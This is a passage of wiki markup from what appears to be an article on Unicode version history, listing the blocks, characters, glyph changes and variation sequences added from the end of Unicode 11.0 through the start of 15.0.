* Symbols for chess notation, astrological and half star symbols (total 43 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BBA-U+2BBC, U+2BD3-U+2BEB and 2BF0-U+2BFE)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E4A-U+2E4E)
* A letter NN (total 1 character) was added to '''Bopomofo'''. (U+312F)
* Some ideographs for Kanji (total 5 characters) were added to '''CJK Unified Ideographs'''. (U+9FEB-U+9FEF)
* A small capital Q and a letter for Mazahua (total 3 characters) were added to '''Latin Extended-D'''. (U+A7AF and U+A7B8-U+A7B9)
* Letter and vowel sign Ay (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FE-U+A8FF)
* Letters Ttta, Vha and a vulgar fraction (total 3 characters) were added to '''Kharoshthi'''. (U+10A34-U+10A35 and U+10A48)
* A Number Sign Above (total 1 character) was added to '''Kaithi'''. (U+110CD)
* Letter Lhaa, vowel sign Aa and Ei (total 3 characters) were added to '''Chakma'''. (U+11144-U+11146)
* A combining Bindu Below (total 1 character) was added to '''Grantha'''. (U+1133B)
* A Sandhi mark (total 1 character) was added to '''Newa'''. (U+1145E)
* An alternate letter Ba (total 1 character) was added to '''Ahom'''. (U+1171A)
* A mark Pluta (total 1 character) was added to '''Soyombo'''. (U+11A9D)
* Additional ideographs (total 5 characters) were added to '''Tangut'''. (U+187ED-U+187F1)
* Tally marks (total 7 characters) were added to '''Counting Rod Numerals'''. (U+1D372-U+1D378)
* A Copyleft symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F12F)
* A Skateboard emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6F9)
* Normal and negative circled shapes (total 4 characters) were added to '''Geometric Shapes Extended'''. (U+1F7D5-U+1F7D8)
* (total 65 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F94D-U+1F94F, U+1F96C-U+1F970, U+1F973-U+1F976, U+1F97A, U+1F97C-U+1F97F, U+1F998-U+1F99F, U+1F9A0-U+1F9A2, U+1F9B0-U+1F9B9, U+1F9C1-U+1F9C2 and U+1F9E7-U+1F9FF)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|FF10 FE00
|
|short diagonal stroke form # FULLWIDTH DIGIT ZERO
|}

== Unicode 12.0 ==

Unicode 12.0 was released on March 5, 2019. It encoded 137,928 characters, adding 554 new characters.

=== New blocks ===

* '''Elymaic''' (U+10FE0-U+10FFF), containing 23 characters, was added.
* '''Nandinagari''' (U+119A0-U+119FF), containing 65 characters, was added.
* '''Tamil Supplement''' (U+11FC0-U+11FFF), containing 51 characters, was added.
* '''Egyptian Hieroglyph Format Controls''' (U+13430-U+1343F), containing 9 characters, was added.
* '''Small Kana Extension''' (U+1B130-U+1B16F), containing 7 characters, was added.
* '''Nyiakeng Puachue Hmong''' (U+1E100-U+1E14F), containing 71 characters, was added.
* '''Wancho''' (U+1E2C0-U+1E2FF), containing 59 characters, was added.
* '''Ottoman Siyaq Numbers''' (U+1ED00-U+1ED4F), containing 61 characters, was added.
* '''Symbols and Pictographs Extended-A''' (U+1FA70-U+1FAFF), containing 16 characters, was added.

=== Extended blocks ===

* A sign Siddham (total 1 character) was added to '''Telugu'''. (U+0C77)
* Letters for Pail and Sanskrit (total 15 characters) were added to '''Lao'''. (U+0E86, U+0E89, U+0E8C, U+0E8E-U+0E93, U+0E98, U+0EA0, U+0EA8-U+0EA9, U+0EAC and U+0EBA)
* A sign Double Anusvara Antargomukha (total 1 character) was added to '''Vedic Extensions'''. (U+1CFA)
* An astrological symbol and Hellschreiber Pause symbol (total 2 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BC9 and U+2BFF)
* A Cornish Verse Divider (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E4F)
* Egyptological letters, Anglicana W and letters for early Pinyin (total 11 characters) were added to '''Latin Extended-D'''. (U+A7BA-U+A7BF and U+A7C2-U+A7C6)
*Sinological phonetic letters (total 2 characters) were added to '''Latin Extended-E'''. (U+AB66-U+AB67)
* A Vedic Anusvara (total 1 character) was added to '''Newa'''. (U+1145F)
* An archaic letter Kha (total 1 character) was added to '''Takri'''. (U+116B8)
* Sign Jihvamuliya and Uphadhmaniya (total 2 characters) were added to '''Soyombo'''. (U+11A84-U+11A85)
* Letters for various Yi and Miao languages (total 16 characters) were added to '''Miao'''. (U+16F45-U+16F4A, U+16F4F and U+16F7F-U+16F87)
* Marks for Ancient Chinese texts (total 2 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE2-U+16FE3)
* Some additional ideographs (total 6 characters) were added to '''Tangut'''. (U+187F2-U+187F7)
* A Nasalization mark (total 1 character) was added to '''Adlam'''. (U+1E94B)
* A Spanish and Portuguese register mark (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F16C)
* Hindu Temple and Auto Rickshaw emoji (total 2 characters) were added to '''Transport and Map Symbols'''. (U+1F6D5 and U+1F6FA)
* Large colored circles and boxes (total 12 characters) were added to '''Geometric Shapes Extended'''. (U+1F7E0-U+1F7EB)
* (total 31 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90D-U+1F90F, U+1F93F, U+1F971, U+1F97B, U+1F9A5-U+1F9AA, U+1F9AE-U+1F9AF, U+1F9BA-U+1F9BF, U+1F9C3-U+1F9CA and U+1F9CD-U+1F9CF)
* Heterodox chess symbols (total 84 characters) were added to '''Chess Symbols'''. (U+1FA00-U+1FA53)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Spacing Modifier Letters
|02EA, 02EB
|2
|-
|Vedic Extensions
|1CF2..1CF3
|2
|-
|Currency Symbols
|20A9
|1
|-
|CJK Symbols and Punctuation
|3001, 3002
|2
|-
|Bopomofo
|3105..312F
|43
|-
|Bopomofo Extended
|31A0..31BA
|27
|-
|CJK Unified Ideographs Extension A
|37C3, 3B9D, 3CFD, 3FE0, 44EC, 4A76
|6
|-
|CJK Unified Ideographs
|5344, 55B9, 6ABC, 6FF9, 809E, 80BC, 80E9, 8132, 8159, 841C, 891D, 8C6C, 915E, 9FD4
|14
|-
|Phags-pa
|A840..A877
|56
|-
|Halfwidth and Fullwidth Forms
|FF01, FF0C, FF0E, FF1A, FF1B, FF1F
|6
|-
|CJK Unified Ideographs Extension B
|200DD, 20164, 20BBF, 20C02, 20CED, 21D4C, 2278B, 23AB8, 2459B, 24A7D, 24FB9, 25ED7, 2677C, 26B4C, 26C21, 26CBE, 26E3D, 28834, 289A1, 289C0, 28A0F, 28B46
|22
|-
|CJK Unified Ideographs Extension C
|2A8FB, 2A917, 2AA30
|3
|-
|CJK Unified Ideographs Extension E
|2BA52, 2BD77, 2C494, 2C72F, 2C734, 2CB38
|6
|-
|CJK Unified Ideographs Extension F
|2D23B, 2E83A
|2
|-
! colspan=&quot;2&quot; |Total
!192
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|3001 FE00
|
|corner-justified form # IDEOGRAPHIC COMMA
|-
|3001 FE01
|
|centered form # IDEOGRAPHIC COMMA
|-
|3002 FE00
|
|corner-justified form # IDEOGRAPHIC FULL STOP
|-
|3002 FE01
|
|centered form # IDEOGRAPHIC FULL STOP
|-
|FF01 FE00
|
|corner-justified form # FULLWIDTH EXCLAMATION MARK
|-
|FF01 FE01
|
|centered form # FULLWIDTH EXCLAMATION MARK
|-
|FF0C FE00
|
|corner-justified form # FULLWIDTH COMMA
|-
|FF0C FE01
|
|centered form # FULLWIDTH COMMA
|-
|FF0E FE00
|
|corner-justified form # FULLWIDTH FULL STOP
|-
|FF0E FE01
|
|centered form # FULLWIDTH FULL STOP
|-
|FF1A FE00
|
|corner-justified form # FULLWIDTH COLON
|-
|FF1A FE01
|
|centered form # FULLWIDTH COLON
|-
|FF1B FE00
|
|corner-justified form # FULLWIDTH SEMICOLON
|-
|FF1B FE01
|
|centered form # FULLWIDTH SEMICOLON
|-
|FF1F FE00
|
|corner-justified form # FULLWIDTH QUESTION MARK
|-
|FF1F FE01
|
|centered form # FULLWIDTH QUESTION MARK
|}

== Unicode 12.1 ==

Unicode 12.1 was released on May 7, 2019. It encoded 137,929 characters, adding only 1 new character.

=== Extended blocks ===
* A square era name Reiwa (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+32FF)

== Unicode 13.0 ==

Unicode 13.0 was released on March 10, 2020. It encoded 143,859 characters, adding 5,930 new characters.

=== New blocks ===

* '''Yezidi''' (U+10E80-U+10EBF), containing 47 characters, was added.
* '''Chorasmian''' (U+10FB0-U+10FDF), containing 28 characters, was added.
* '''Dives Akuru''' (U+11900-U+1195F), containing 72 characters, was added.
* '''Lisu Supplement''' (U+11FB0-U+11FBF), containing 1 character, was added.
* '''Khitan Small Script''' (U+18B00-U+18CFF), containing 470 characters, was added.
* '''Tangut Supplement''' (U+18D00-U+18D08), containing 9 characters, was added.
* '''Symbols for Legacy Computing''' (U+1FB00-U+1FBFF), containing 212 characters, was added.
* '''CJK Unified Ideographs Extension G''' (U+30000-U+3134F), containing 4939 characters, was added.

=== Extended blocks ===

* Letters for African languages and Punjabi (total 10 characters) were added to '''Arabic Extended-A'''. (U+08BE-U+08C7)
* A sign Overline (total 1 character) was added to '''Oriya'''. (U+0B55)
* A Vedic Anusvara (total 1 character) was added to '''Malayalam'''. (U+0D04)
* A sign Candrabindu (total 1 character) was added to '''Sinhala'''. (U+0D81)
* Combining diacritical marks for Scottish phonology (total 2 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1ABF-U+1AC0)
* A Japanese symbol for Type A Electronics (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B97)
* Cross patties and a Tironian sign Capita Et (total 3 characters) were added to '''Supplemental Punctuation'''. (U+2E50-U+2E52)
* Letters for Taiwan and Cantonese language (total 5 characters) were added to '''Bopomofo Extended'''. (U+31BB-U+31BF)
* Some disunified ideographs (total 10 characters) were added to '''CJK Unified Ideographs Extension A'''. (U+4DB6-4DBF)
* Some ideographs for China (total 13 characters) were added to '''CJK Unified Ideographs'''. (U+9FF0-U+9FFC)
* Letters for Gaulish (total 6 characters) were added to '''Latin Extended-D'''. (U+A7C7-U+A7CA and U+A7F5-U+A7F6)
* An alternate sign Nasanta (total 1 character) was added to '''Syloti Nagri'''. (U+A82C)
* Letter R With Midle Tilde and modifier letters for Scottish phonology (total 4 characters) were added to '''Latin Extended-E'''. (U+AB68-U+AB6B)
* A symbol Ascia (total 1 character) was added to '''Ancient Symbols'''. (U+1019C)
* A letter for Pali (total 1 character) was added to '''Chakma'''. (U+11147)
* A vowel sign Prishthamatra E and Inverted Candrabindu (total 2 characters) were added to '''Sharada'''. (U+111CE and U+111CF)
* Double comma, sign Jihvamuliya and Uphadhmaniya (total 3 characters) were added to '''Newa'''. (U+1145A and U+11460-U+11461)
* Khitan Small Script Filler and reading marks for Vietnamese (total 3 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE4 and U+16FF0-U+16FF1)
* Some additional components (total 13 characters) were added to '''Tangut Components'''. (U+18AF3-U+18AFF)
* Creative Commons license symbols and Mask Work symbol (total 7 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10D-U+1F10F, U+1F16D-1F16F and U+1F1AD)
* Hut, Elevator, Pickup Truck and Roller Skate emoji (total 4 characters) were added to '''Transportation and Map Symbols'''. (U+1F6D6-U+1F6D7 and U+1F6FB-U+1F6FC)
* Arrows for legacy computing (total 2 characters) were added to '''Supplemental Arrows-C'''. (U+1F8B0-U+1F8B1)
* (total 10 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90C, U+1F972, U+1F977-U+1F978, U+1F9A3-U+1F9A4, U+1F9AB-U+1F9AD and U+1F9CB)
* (total 41 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA74, U+1FA83-U+1FA86, U+1FA96-U+1FAA8, U+1FAB0-U+1FAB6, U+1FAC0-U+1FAC2 and U+1FAD0-U+1FAD6)
* Gongche characters for Kunqu Opera (total 7 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6D7-U+2A6DD)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Tagalog
|1700..170C, 170E..1714
|20
|-
|Mongolian
|1834, 1871, 1878
|3
|-
|Sundanese
|1BAB
|1
|-
|Currency Symbols
|20BF
|1
|-
|CJK Radicals Supplement
|2E80..2E99, 2E9B..2EF3
|115
|-
|Kangxi Radicals
|2F00..2FD5
|214
|-
|CJK Unified Ideographs Extension A
|3472, 38C7, 3DB8, 3FE0, 440B, 46E9
|6
|-
|CJK Unified Ideographs
|53FD, 6146, 6711, 671C, 6721, 6725, 6BD2, 7B9A, 87CE, 8956, 93BF, 9B97
|12
|-
|Latin Extended-D
|A764..A765
|2
|-
|Phags-pa
|A86D
|1
|-
|Tangut
|175F6, 17F0D, 17F8A, 17FA5, 180D6, 18139, 18147, 184F1, 18736
|9
|-
|Tangut Components
|18843, 18856, 1888C, 1890A, 18915, 1893B
|6
|-
|Adlam
|1E900..1E94A, 1E950..1E959, 1E95E..1E95F
|71
|-
|Miscellaneous Symbols and Pictographs
|1F3B1
|1
|-
|Supplemental Symbols and Pictographs
|1F995..1F998, 1F99B..1F99E, 1F9B0..1F9B3, 1F9E7
|13
|-
|CJK Unified Ideographs Extension B
|20219, 21249, 21827, 22C3A, 2327B, 23496, 2355E, 2363B, 236ED, 23839, 23FD5, 24261, 24726, 248F2, 2548E, 26657, 26C9E, 26FE1, 27334, 27C0E, 27CEF, 2A38C
|22
|-
|CJK Unified Ideographs Extension C
|2AED5, 2AEF3, 2AF76, 2B09F, 2B1C3, 2B1E5
|6
|-
|CJK Unified Ideographs Extension E
|2B83C, 2B8D9..2B8DA, 2B96F, 2BBD7, 2BD61, 2BE4A, 2BF1D, 2BF9D, 2C0B8, 2C142, 2C176, 2C316, 2C3FB, 2C402, 2C7AC, 2C82C, 2C83A, 2C9A1, 2CC88, 2CD68
|21
|-
|CJK Unified Ideographs Extension F
|2DC09, 2DE4A, 2EB7E, 2EB89
|4
|-
|CJK Compatibility Ideographs Supplement
|2F83B, 2F878, 2F8D6..2F8D7, 2F8DA, 2F8F0, 2F984, 2FA02
|8
|-
! colspan=&quot;2&quot; |Total
!536
|}

== Unicode 14.0 ==

Unicode 14.0 was released on September 14, 2021. It encoded 144,697 characters, adding 838 new characters.

=== New blocks ===

* '''Arabic Extended-B''' (U+0870-U+089F), containing 41 characters, was added.
* '''Vithkuqi''' (U+10570-U+105BF), containing 70 characters, was added.
* '''Latin Extended-F''' (U+10780-U+107BF), containing 57 characters, was added.
* '''Old Uyghur''' (U+10F70-U+10FAF), containing 26 characters, was added.
* '''Unified Canadian Aboriginal Syllabics Extended-A''' (U+11AB0-U+11ABF), containing 16 characters, was added.
* '''Cypro-Minoan''' (U+12F90-U+12FFF), containing 99 characters, was added.
* '''Tangsa''' (U+16A70-U+16ACF), containing 89 characters, was added.
* '''Kana Extended-B''' (U+1AFF0-U+1AFFF), containing 13 characters, was added.
* '''Znamenny Musical Notation''' (U+1CF00-U+1CFFF), containing 185 characters, was added.
* '''Latin Extended-G''' (U+1DF00-U+1DFFF), containing 31 characters, was added.
* '''Toto''' (U+1E290-U+1E2BF), containing 31 characters, was added.
* '''Ethiopic Extended-B''' (U+1E7E0-U+1E7FF), containing 28 characters, was added.

=== Extended blocks ===

* An End of Text punctuation mark (total 1 character) was added to '''Arabic'''. (U+061D)
* Letters for Balti and Quranic orthography (total 12 characters) were added to '''Arabic Extended-A'''. (U+08B5 and U+08C8-U+08D2)
* A sign Nukta and letter Nakaara Pollu (total 2 characters) were added to '''Telugu'''. (U+0C3C and U+0C5D)
* A letter Nakaara Pollu (total 1 character) was added to '''Kannada'''. (U+0CDD)
* A letter Ra, sign Pamudpod and archaic letter Ra (total 3 characters) were added to '''Tagalog'''. (U+170D, U+1715 and U+171F)
* A fourth Free variation selector (total 1 character) was added to '''Mongolian'''. (U+180F)
* Combining diacritical marks for extended IPA (total 14 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1AC1-U+1ACE)
* An archaic ligature Jnya and punctuation marks (total 3 characters) were added to '''Balinese'''. (U+1B4C and U+1B7D-U+1B7E)
* A combining Dot Below Left (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFA)
* A Kyrgyz Som sign (total 1 character) was added to '''Currency Symbols'''. (U+20C0)
* A letter Caudate Chrivi (total 2 characters) were added to '''Glagolitic'''. (U+2C2F and U+2C5F)
* Medieval and phonetic punctuation marks (total 11 characters) were added to '''Supplemental Punctuation'''. (U+2E53-U+2E5D)
* Some ideographs for Macao (total 3 characters) were added to '''CJK Unified Ideographs'''. (U+9FFD-U+9FFF)
* Archaic European letters, modifier letters for Sokuon and Chatino orthography (total 13 characters) were added to '''Latin Extended-D'''. (U+A7C0-U+A7C1, U+A7D0-U+A7D1, U+A7D3, U+A7D5, U+A7D6-U+A7D9 and U+A7F2-U+A7F4)
* A modifier letter Wasla Above and honorifics (total 20 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBC2, U+FD40-U+FD4F, U+FDCF and U+FDFE-U+FDFF)
* Letters for Old Tamil (total 6 characters) were added to '''Brahmi'''. (U+11070-U+11075)
* A vowel sign Vocalic R (total 1 character) was added to '''Khaiti'''. (U+110C2)
* An Abbreviation sign (total 1 character) was added to '''Takri'''. (U+116B9)
* Letters for Tai Ahom (total 7 characters) were added to '''Ahom'''. (U+11740-U+11746) The block was expanded from (U+11700-U+1173F) to (U+11700-U+1174F)
* Kana archaic letters (total 4 characters) were added to '''Kana Extended-A'''. (U+1B11F-U+1B122)
* Accidental symbols for Iranian classical music (total 2 characters) were added to '''Musical Symbols'''. (U+1D1E9-U+1D1EA)
* Playground Slide, Wheel and Ring Buoy emoji (total 3 characters) were added to '''Transportation and Map Symbols'''. (U+1F6DD-U+1F6DF)
* A Heavy Equals Sign emoji (total 1 character) was added to '''Geometric Shapes Extended'''. (U+1F7F0)
* A Troll and Face Holding Back Tears emoji (total 2 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F979 and U+1F9CC)
* (total 31 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA7B-U+1FA7C, U+1FAA9-U+1FAAC, U+1FAB7-U+1FABA, U+1FAC3-U+1FAC5, U+1FAD7-U+1FAD9, U+1FAE0-U+1FAE7 and U+1FAF0-U+1FAF6)
* Some ideographs for Macao (total 2 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6DE-U+2A6DF)
* Disunified ideographs and a G source ideograph for China, Hong Kong and Vietnam (total 4 characters) were added to '''CJK Unified Ideographs Extension C'''. (U+2B735-U+2B738)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Latin Extended-B
|0184..0185
|2
|-
|Arabic
|0674..0678, 06C5, 06C7, 06FE
|8
|-
|Letterlike Symbols
|210B, 2110, 2112, 211B, 212C, 2130..2131, 2133
|8
|-
|Enclosed Alphanumerics
|2460..24FF
|160
|-
|Dingbats
|2776..2793
|30
|-
|CJK Symbols and Punctuation
|3001..3029, 3030..303D, 303F
|56
|-
|CJK Strokes
|31C0..31E3
|36
|-
|Katakana Phonetic Extensions
|31F0..31FF
|16
|-
|Enclosed CJK Letters and Months
|3200..321E, 3220..32FF
|255
|-
|CJK Compatibiity
|3300..33FF
|256
|-
|CJK Unified Ideographs Extension A
|3777, 3B3F
|2
|-
|CJK Unified Ideographs
|5DD5, 652C, 6AC0
|3
|-
|Arabic Presentation Forms-A
|FBD7..FBD8, FBDD, FBE0..FBE1
|5
|-
|Vertical Forms
|FE10..FE19
|10
|-
|CJK Compatibiity Forms
|FE30..FE4F
|32
|-
|Small Form Variants
|FE50..FE52, FE54..FE66, FE68..FE6B
|26
|-
|Halfwidth and Fullwidth Forms
|FF01..FF9F, FFA1..FFBE, FFC2..FFC7, FFCA..FFCF, FFD2..FFD7, FFDA..FFDC, FFE0..FFE6, FFE8..FFEE
|225
|-
|Egyptian Hieroglyphs
|1300A, 13017, 1302D, 13032, 13034..13035, 13037..13038, 1303A..1303E, 1304E..1304F, 13055, 13057, 13068, 1309A, 130D2, 130D5, 130F6, 130FE, 13192, 1325F, 13267, 1326A, 13281, 13297, 1329E, 132B4, 132C1, 132E6, 13304, 1331F, 13378..1337B, 1337D..1337E, 133F3, 133FA..13403, 1340D, 13417, 1342B
|55
|-
|Mathematical Alphanumeric Symbols
|1D49C, 1D49E..1D49F, 1D4A2, 1D4A5..1D4A6, 1D4A9..1D4AC, 1D4AE..1D4B5
|18
|-
|Enclosed Alphanumeric Supplement
|1F100..1F1AD, 1F1E6..1F1FF
|200
|-
|Enclosed Ideographic Supplement
|1F200..1F202, 1F210..1F23B, 1F240..1F248, 1F250..1F251, 1F260..1F265
|64
|-
|Supplemental Symbols and Pictographs
|1F930
|1
|-
|CJK Unified Ideographs Extension B
|22ADC, 230F2, 25B27, 26F28
|4
|-
! colspan=&quot;2&quot; |Total
!1472
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|1D49C FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE00
|
|chancery style # SCRIPT CAPITAL B
|-
|1D49E FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE00
|
|chancery style # SCRIPT CAPITAL E
|-
|2131 FE00
|
|chancery style # SCRIPT CAPITAL F
|-
|1D4A2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE00
|
|chancery style # SCRIPT CAPITAL H
|-
|2110 FE00
|
|chancery style # SCRIPT CAPITAL I
|-
|1D4A5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE00
|
|chancery style # SCRIPT CAPITAL L
|-
|2133 FE00
|
|chancery style # SCRIPT CAPITAL M
|-
|1D4A9 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE00
|
|chancery style # SCRIPT CAPITAL R
|-
|1D4AE FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Z
|-
|1D49C FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE01
|
|roundhand style # SCRIPT CAPITAL B
|-
|1D49E FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE01
|
|roundhand style # SCRIPT CAPITAL E
|-
|2131 FE01
|
|roundhand style # SCRIPT CAPITAL F
|-
|1D4A2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE01
|
|roundhand style # SCRIPT CAPITAL H
|-
|2110 FE01
|
|roundhand style # SCRIPT CAPITAL I
|-
|1D4A5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE01
|
|roundhand style # SCRIPT CAPITAL L
|-
|2133 FE01
|
|roundhand style # SCRIPT CAPITAL M
|-
|1D4A9 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE01
|
|roundhand style # SCRIPT CAPITAL R
|-
|1D4AE FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Z
|}

===Named Sequences===
Here is a table with new named character sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Name
|-
|0915 093C
|DEVANAGARI SEQUENCE FOR LETTER QA
|-
|0916 093C
|DEVANAGARI SEQUENCE FOR LETTER KHHA
|-
|0917 093C
|DEVANAGARI SEQUENCE FOR LETTER GHHA
|-
|091C 093C
|DEVANAGARI SEQUENCE FOR LETTER ZA
|-
|0921 093C
|DEVANAGARI SEQUENCE FOR LETTER DDDHA
|-
|0922 093C
|DEVANAGARI SEQUENCE FOR LETTER RHA
|-
|092B 093C
|DEVANAGARI SEQUENCE FOR LETTER FA
|-
|092F 093C
|DEVANAGARI SEQUENCE FOR LETTER YYA
|-
|09A1 09BC
|BENGALI SEQUENCE FOR LETTER RRA
|-
|09A2 09BC
|BENGALI SEQUENCE FOR LETTER RHA
|-
|09AF 09BC
|BENGALI SEQUENCE FOR LETTER YYA
|-
|0A32 0A3C
|GURMUKHI SEQUENCE FOR LETTER LLA
|-
|0A38 0A3C
|GURMUKHI SEQUENCE FOR LETTER SHA
|-
|0A16 0A3C
|GURMUKHI SEQUENCE FOR LETTER KHHA
|-
|0A17 0A3C
|GURMUKHI SEQUENCE FOR LETTER GHHA
|-
|0A1C 0A3C
|GURMUKHI SEQUENCE FOR LETTER ZA
|-
|0A2B 0A3C
|GURMUKHI SEQUENCE FOR LETTER FA
|-
|0B21 0B3C
|ORIYA SEQUENCE FOR LETTER RRA
|-
|0B22 0B3C
|ORIYA SEQUENCE FOR LETTER RHA
|}

== Unicode 15.0 ==

Unicode 15.0 was released on September 13, 2022. It encoded 149,186 characters, adding 4,489 new characters.

=== New blocks ===

* '''Arabic Extended-C''' (U+10EC0-U+10EFF), containing 3 characters, was added.
* '''Devanagari Extended-A''' (U+11B00-U+11B5F), containing 10 characters, was added.
* '''Kawi''' (U+11F00-U+11F5F), containing 86 characters, was added.
* '''Kaktovik Numerals''' (U+1D2C0-U+1D2DF), containing 20 characters, was added.
* '''Cyrillic Extended-D''' (U+1E030-U+1E08F), containing 63 characters, was added.
* '''Nag Mundari''' (U+1E4D0-U+1E4FF), containing 42 characters, was added.
* '''CJK Unified Ideographs Extension H''' (U+31350-U+323AF), containing 4192 characters, was added.

=== Extended blocks ===

* A Yamakkan (total 1 character) was added to '''Lao'''. (U+0ECE)
* A combining Anusvara Above Right (total 1 character) was added to '''Kannada'''. (U+0CF3)
* Letters Qa, Short I and Vocalic R (total 3 characters) were added to '''Khojki'''. (U+1123F-U+11241)
* An additional hieroglyph to Group V (total 1 character) was added to '''Egyptian Hieroglyphs'''
* Extended format controls (total 29 characters) were added to '''Egyptian Hieroglyph Format Controls'''. (U+13439-U+13455). The block was expanded from (U+13430-U+1343F) to (U+13430-U+1345F)
* Hiragana and Katakana Small Ko (total 2 characters) were added to '''Small Kana Extension'''. (U+1B132 and U+1B155)
* Letters for Malayalam transliteration (total 6 characters) were added to '''Latin Extended-G'''. (U+1DF25-U+1DF2A)
* A Wireless emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6DC)
* A Nine Pointed White Star (total 1 character) was be added to '''Geometric Shapes Extended'''. (U+1F7D9)
* A Lot of Fortune, eclipse symbols and symbols for dwarf planets (total 6 characters) were added to '''Alchemical symbols'''. (U+1F774-U+1F776 and U+1F77B-U+1F77F)
* (total 20 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA75-U+1FA77, U+1FA87-U+1FA88, U+1FAAD-U+1FAAF, U+1FABB-U+1FABF, U+1FACE-U+1FACF, U+1FADA-U+1FADB, U+1FAE8 and U+1FAF7-U+1FAF8)
* A disunified ideograph for Macao (total 1 character) was added to '''CJK Unified Ideographs Extension C'''. (U+2B739)

===Glyph Changes===

Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
